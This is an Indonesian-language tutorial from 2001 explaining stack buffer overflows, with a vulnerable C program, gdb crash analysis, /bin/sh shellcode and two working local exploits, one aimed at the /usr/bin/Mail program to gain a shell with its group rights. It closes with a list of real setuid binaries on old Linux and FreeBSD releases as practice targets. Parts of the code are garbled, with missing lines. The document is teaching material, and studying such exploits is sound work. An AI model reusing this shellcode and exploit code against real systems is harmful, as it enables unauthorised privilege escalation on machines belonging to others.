Bagaimana Exploit bekerja
Friday, June 15, 2001- Jumlah Klik [8659] , Penulis : RubiC
Jasakom - penulis yakin anda pernah menggunakannya, paling tidak mendengarnya, tapi
pernahkah anda berfikir bagaimana exploit ini bekerja ???
"exploit" Exploit merupakan sebuah program ( biasanya ditulis dalam C, Perl) yang digunakan untuk meng"exploit"asi bugs pada program lain. Exploit digunakan untuk menjalankan suatu perintah yang akan memberikan kita akses untuk melakukan sesuatu yang tak dapat kita jalankan dalam situasi normal.
Ada beberapa bugs/kesalahan pemrograman yang paling sering di exploitasi seperti Buffer Overflow, Format Strings, Heap Overflow. Sebagai dasar acuan akan penulis jelaskan mengenai register, stack dan fungsi (intel prosesor). Setiap prosesor pada komputer memiliki sejumlah memori internal yang dikenal sebagai register. EIP merupakan salah satu diantaranya, register ini digunakan untuk menunjuk ke alamat mana
perintah selanjutnya akan dieksekusi oleh prosesor. Jadi ketika suatu program dijalankan dan prosesor sedang menjalalankan instruksi pertama maka EIP akan menyimpan data alamat memori dimana perintah selanjutanya (kedua) tersimpan. Setelah instruksi pertama selesai prosesor mengambil perintah selanjutnya dan nilai EIP akan bertambah (menunjuk ke perintah ketiga), proses akan diulang sampai ditemukan instruksi exit.
Bayangkan stack seperti tumpukan piring, piring yang pertama kali ditaruh (PUSH), maka terakhir kali ia diambil (POP). Sebaliknya yang terakhir kali di taruh, pertama kali ia akan di ambil (LIFO = Last In First Out). Dalam suatu proses stack merupakan area dalam memori yang besarnya secara dinamis akan berubah sesuai kebutuhan proses. Ada dua buah register yang biasa digunakan dalam operasi stack ESP dan EBP. Register ESP (Stack Pointer) akan digunakan sebagai penunjuk ke memori dimana tumpukan teratas dari stack ditemukan. Ketika suatu data di PUSH ke stack maka nilai ESP akan dikurangi. Jadi disini dapat dikatakan ketika suatu stack bertambah ukurannya, nilai pada ESP akan berkurang, sebaliknya ketika nilai ESP bertambah, ukuran stack berkurang.
EBP digunakan sebagai penunjuk lokasi (Base Pointer) ke dasar dari stack. Ketika sebuah fungsi dipanggil terlebih dahulu sebuah "procedure prolog" dilaksanakan oleh fungsi, pertama kali procedure ini akan
selesai di jalankan.
Dengan informasi diatas maka kita dapat menyusun bagaimana data diorganisasikan pada stack ketika sebuah fungsi di panggil. 1. simpan parameter fungsi
2. simpan alamat selanjutnya (RET) 3. simpan EBP
4. alokasikan variable local fungsi
[ ]
EBP-8 = ESP [---] [ dta ] EBP [---] [ EBP ] EBP + 4 [---]
[ RET ] | EBP + 8 [---] | [ arg ] V [---]
[ ] alamat_memori++
[---] [ Buffer Overflow ]
[---]
Buffer overflow terjadi ketika suatu program mengalokasikan sebuah area pada memori (buffer/var) dengan ukuran tertentu, kemudian data yang dimasukan ke buffer tersebut lebih besar dari daya tampungnya. Buffer overflow sering terjadi pada fungsi-fungsi yang melakukan
penyalinan data tanpa adanya pengecekan besarnya data yang akan disalin ke suatu buffer ( strcpy(),sprintf(),vsprintf(), gets(), getenv() ).
Contoh program:
/* vuln.c */
void vuln_func(char *input) {
char dta[14] = "\x01\x02\x03\x04"; sprintf(dta, input);
printf("%s\n",dta); }
int main(int argc, char **argv) { vuln_func(argv[1]);
}
Jumlah data maximum yang dapat ditampung oleh buffer (dta) sebesar 14 byte bagaimana bila kita masukan lebih dari 14, lets try it !
RubiC@i486 ~$ gcc vuln.c -g -o vuln
RubiC@i486 ~$ vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault RubiC@i486 ~$
hei apa yang terjadi ? kita cek dengan gdb
RubiC@i486 ~$gdb vuln GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"... (gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/RubiC/art/exploit/vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? ()
(gdb) info register
eax 0x25 37
The program is running. Exit anyway? (y or n)
tidak ditemukannya instruksi pada alamat 0x61616161.Pertanyaan selanjutnya, kok EIP bisa menunjuk ke 0x61616161 ?
Dengan dasar yang telah kita dapat dari penjelasan tentang fungsi, kita dapat menebak hasil diatas. Fungsi sprintf akan mengopikan data yang kita masukan (banyak a) ke dta yang cuman menampung 14 byte, data selanjutanya akan dicopikan terus hingga mengoverwrite EBP, RET, dst. Setelah snprintf selesai prosesor akan mengambil alamat instruksi selanjutnya di stack ke EIP. prosesor mengambil nilai RET baru yang menunjuk ke 0x61616161 dimana di alamat ini tidak ada instruksi yang dapat dijalankan.
Dengan begitu kita dapat mengatur prosesor untuk menjalankan instruksi pada sembarang tempat di memori. Yang artinya kita bisa meletakkan suatu kode atau instruksi disuatu tempat dan kita dapat menyuruh prosesor menjalankannya.
Sebagian besar exploit akan menjalankan /bin/sh dengan begitu kita akan lebih mudah mengeksekusi perintah lain.
compile program di bawah ini, kemudian dengan gdb dapatkan nilai hex-nya. untuk lebih jelasnya bagaimana mendapatkan shellcode baca phrack49-14
"Smashing The Stack For Fun And Profit",by Aleph One.
void main() {
"\xcd\x80" /* int $0x80 */ /* call: */
"\xe8\xde\xff\xff\xff" /* call start */ "/bin/sh";
sekarang kita telah memiliki kode yang akan di jalankan, sekarang tinggal dimana kita meletakkannya di memori. ada dua buah metode yang biasa digunakan :
1. di stack
2. di enviroment variable
kita lihat lagi vuln.c dta daya tampungnya cuman 14 karakter sedangkan shellcode 48 karakter, pilihan jatuh pada no 2. (misal dta[512], anda bisa menggunakan metode nomor 1 dengan buffer di isi dengan
NOP's+ShellCode+RET's
[NOP...Shell...RET...] )
karena hampir semua program, stack akan di mulai dari alamat yang sama, kita dapat menebak di mana letak shellcode kita. Untuk memperbesar kemungkinan sebelum shellcode di beri instruksi NOP (0x90 hex). sehingga shellcode yang diletakkan dimemori menjadi
[NOP...NOP][ShellCode]
jadi langkah2 untuk mengexploitasi vuln : 1. shellcode ditaruh di env
2. perkirakan alamat shellcode di env
3. vuln kita overflow dengan perkiraan address diatas
/* exvuln1.c */ #include <stdio.h> #include <stdlib.h>
unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }
int main(int argc, char **argv) { char shell[] =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08" "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0" "\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
char *shell_place, *ret_place; long ret, *addr;
offset = 1000, len_sp = 2048, len_shell, i;
if (argc > 1)
len_ov = atoi(argv[1]); if (argc > 2)
offset = atoi(argv[2]);
shell_place = malloc(len_sp); ret_place = malloc(len_ov); len_shell = strlen(shell);
memset(shell_place, '\x90', len_sp);
memcpy(shell_place+(len_sp-len_shell-1),shell,len_shell); shell_place[len_sp-1] = '\0';
ret = get_esp() - offset; // alamat shellcode ???
addr = (long*)ret_place; for (i = 0;i < len_ov; i+=4)
*(addr++) = ret;
ret_place[len_ov-1] = '\0';
setenv("RET",ret_place,1);
setenv("SHELL",shell_place,1);
system("./vuln $RET");
return(0); }
RubiC@i486 ~$ gcc exvuln1.c -o exvuln1
RubiC@i486 ~$ exvuln1
°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ¿°öÿ
bash$
oke, exploit kita berhasil sekarang kita coba pada program beneran
RubiC@i486 ~$ /usr/bin/Mail -s bla -c `perl -e 'print "a" x 2000'` e@t_this
.
Cc: too long to edit Segmentation fault RubiC@i486 ~$
ada Segmentation fault kemungkinan besar ada buffer overflow !! /*
anda bisa menambahkan fungsi setregid() ke shellcode untuk mendapatkan
gid 12 (Mail)
RubiC */
#include <stdio.h> #include <stdlib.h>
unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }
int main(int argc, char **argv) {
char shell[] =
// yew can add setregid() here
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08" "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0" "\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
char *shell_place, *ret_place;
long ret, *addr; int len_ov = 1500,
offset = 1500, len_sp = 2048, len_shell, i;
if (argc > 1)
len_ov = atoi(argv[1]); if (argc > 2)
offset = atoi(argv[2]);
printf("tekan . <enter>\n");
shell_place = malloc(len_sp); ret_place = malloc(len_ov); len_shell = strlen(shell);
memset(shell_place, '\x90', len_sp);
memcpy(shell_place+(len_sp-len_shell-1),shell,len_shell); shell_place[len_sp-1] = '\0';
ret = get_esp() - offset; addr = (long*)ret_place; for (i = 0;i < len_ov; i+=4)
ret_place[len_ov-1] = '\0';
setenv("RET",ret_place,1); setenv("SHELL",shell_place,1);
system("/usr/bin/Mail -s sh3ll -c $RET e@t_this"); return(0);
}
RubiC@i486 ~$ gcc exmail.c -o exmail
RubiC@i486 ~$ ./exmail
.
Cc: too long to edit
bash$
u c, membuat sebuah exploit buffer overflow nggak sesulit yang dibayangkan, like everybody say "keingintahuan adalah kuncinya".
Untuk remote exploit mungkin akan lebih sukar kita mesti tahu bagaimana connect ke server, shellcode yang berbeda (bindshell), karakter filter pada server yang akan memperngaruhi shellcode kita (nggak boleh ada huruf kecil, eg: imap4).
Sebagai latihan anda bisa mengexploitasi program-program di bawah ini, semuanya local buffer overflow, anda bisa membaca sourcenya 'grep' fungsi2 berbahaya seperti yang telah disebutkan di atas , atau melalui experiment pada argument, ataupun enviroment variablenya, have fun !
Slackware 3.5 FreeBsd 3.0
1. /sbin/dip 1. /usr/local/bin/faxalter
2. /usr/bin/joe
3. /usr/bin/lynx FreeBsd 4.2
4. /usr/bin/as 1. /usr/local/bin/xklock
5. /usr/bin/nslookup 2. /usr/local/bin/elvrec 6. /usr/bin/top
7. /usr/bin/mc Suse 6.2
8. /usr/X11R6/bin/xterm 1. /usr/knox/bin/nlservd
RedHat 6.0 Mandrake 7.0
2. /usr/X11R6/bin/cxterm
Sebenarnya masih ada beberapa jenis exploit yang belum dibahas sini, seperti Heap Overflow dan Format String, mungkin akan ada artikel lain untuk membahasnya. Thanx 4 reading :)